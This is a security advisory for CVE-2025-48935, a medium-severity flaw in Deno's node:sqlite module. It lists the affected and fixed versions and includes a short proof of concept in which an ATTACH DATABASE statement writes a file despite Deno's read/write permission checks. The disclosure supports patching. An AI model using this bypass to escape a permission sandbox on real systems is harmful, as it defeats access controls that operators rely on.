All reports
Medium

Deno has --allow-read / --allow-write permission bypass in `node:sqlite`

Affected versions

Version ranges need review.

Rust / Cargodeno
Affected versions
>=2.2.0 <2.2.5
Fixed version
2.2.5
Rust / Cargodeno
Affected versions
>= 2.2.0, < 2.2.5
Fixed version
2.2.5
Rust / Cargodeno_node
Affected versions
>= 0.129.0, < 0.134.0
Fixed version
0.134.0

Exploitation

CVE-2025-48935

Probability of exploitation in the next 30 days: 0.49%

FIRST EPSS · 2026-11-23

Description

Summary

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.

PoC

// poc.js
import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
$ deno poc.js

Links

Credits

  • littledivy
  • 0f-0b